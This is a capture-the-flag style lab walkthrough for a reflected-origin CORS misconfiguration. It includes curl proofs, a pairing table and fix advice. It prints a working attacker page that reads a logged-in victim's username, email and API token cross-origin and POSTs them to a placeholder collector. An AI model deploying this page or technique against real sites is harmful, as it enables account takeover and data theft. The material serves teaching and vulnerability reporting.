CORS — the reflected origin

Cross-Origin Resource Sharing
log in

Lab credentials: admin / password. Logging in sets a session cookie (cors26_auth, SameSite=None; Secure — note that posture; it matters for the attack).

Method — proving the leak, header by header
  1. Log in, then look at the /me call in repeater. Reply: {username, email, token} — and two headers to hunt: access-control-allow-credentials and access-control-allow-origin.
  2. Tamper test: add a request header Origin: test.com and resend. The reply's access-control-allow-origin comes back as test.com — your header, reflected verbatim. That means every origin on the internet is an allowed origin.
  3. The pair walks hand in hand: access-control-allow-credentials: true tells the browser that cross-origin reads with cookies are permitted. Reflection + credentials = the worst combination.
  4. The attack page is deliberately boring — a plain page on an HTTPS domain you control. Its JS: fetch('https://stuxnet.pro/cors/lab26/me.php', {credentials: 'include'}) — credentials:'include' is the whole trick: it sends the victim's target-domain cookies with the request. The reply lands as .json() in the page, and the last line exfiltrates it to your collector.
  5. Victim flow: logged into the target in one tab, opens your page in another → cookies ride (this lab's cookie is SameSite=None, the permissive posture real apps ship), the response is read cross-origin because your origin was reflected as allowed. Data saved to your endpoint.
  6. Completion checklist (verbatim from the lesson): ① access-control-allow-credentials: true in the reply, ② access-control-allow-origin reflects a value you control in its request. One https site required on your side — HTTP pages cannot send cookies cross-origin, browsers refuse.
  7. Report it with the replayer evidence: "ACAO reflects attacker-controlled Origin, ACA-Credentials true; credentialed cross-origin read returns username, email and API token." Severity rides on the data: token exposure is an account-takeover hook.

Modern honesty: browsers increasingly block third-party cookies, which can mute the live browser demo — but the server-side flaw is not blocked by anything: the reflection is provable without a browser (below), and the misconfiguration is the finding.

Spoiler — the curl proof (reflection without a browser)
# unauthenticated: the CORS flaw fires even on the 401
curl -s -m 15 'https://stuxnet.pro/cors/lab26/me.php' \
  -H 'Origin: https://evil.test' -i | head -8
→ HTTP/1.1 401 … access-control-allow-origin: https://evil.test
           access-control-allow-credentials: true
→ {"error":"not logged in — the CORS headers above still fire"}

# logged in: any origin reads the data
curl -s -m 15 'https://stuxnet.pro/cors/lab26/me.php' \
  -H 'Origin: https://evil.test' -b 'cors26_auth=1'
→ {"username":"admin","email":"admin@example-app.com","token":"eyJ…"}

Swap https://evil.test for any domain — the reply mirrors whatever you send. That is the entire vulnerability in two curls: the header answers you, not the app.

Spoiler — the attacker page (host on any HTTPS origin)
<!DOCTYPE html>
<script>
fetch('https://stuxnet.pro/cors/lab26/me.php', {
  credentials: 'include'              // victim's cookies ride along
})
.then(r => r.json())
.then(d => {
  fetch('https://YOUR-COLLECTOR/save', {   // your endpoint keeps it
    method: 'POST',
    body: JSON.stringify(d)
  });
});
</script>
"Lorem ipsum" — an innocent-looking page.

Anything with YOUR-COLLECTOR is yours: a request-bin, your own server's /save, the same xss.report collector habit from the blind-XSS labs. Serve it over HTTPS (HTTP page → no cookies sent → no data), visit it while logged into the target, and the account's JSON is now in your collector. For the classroom the two curls above prove the leak; this page is how it lands in a report.

Spoiler — pairing decoder (what each combo means)
ACAO: *            + ACA-Credentials: true  → invalid pairing; browsers reject it
ACAO: *            + ACA-Credentials: false → safe-ish; public data only
ACAO: <reflected>  + ACA-Credentials: true  → THE flaw (this lab)
ACAO: <allow-list> (exact match + VaryOrigin) → the fix; never substitute
                                              Origin checking for authz

Why reflection exists in bad code: * cannot legally stand in when credentials are allowed, so naive servers "fix" it by echoing the caller's Origin — which is the same as saying everyone. The good fix is an exact-match allow-list kept server-side, plus keeping authorization out of CORS entirely (CORS is browser-user-agent behavior; curl never obeyed it anyway).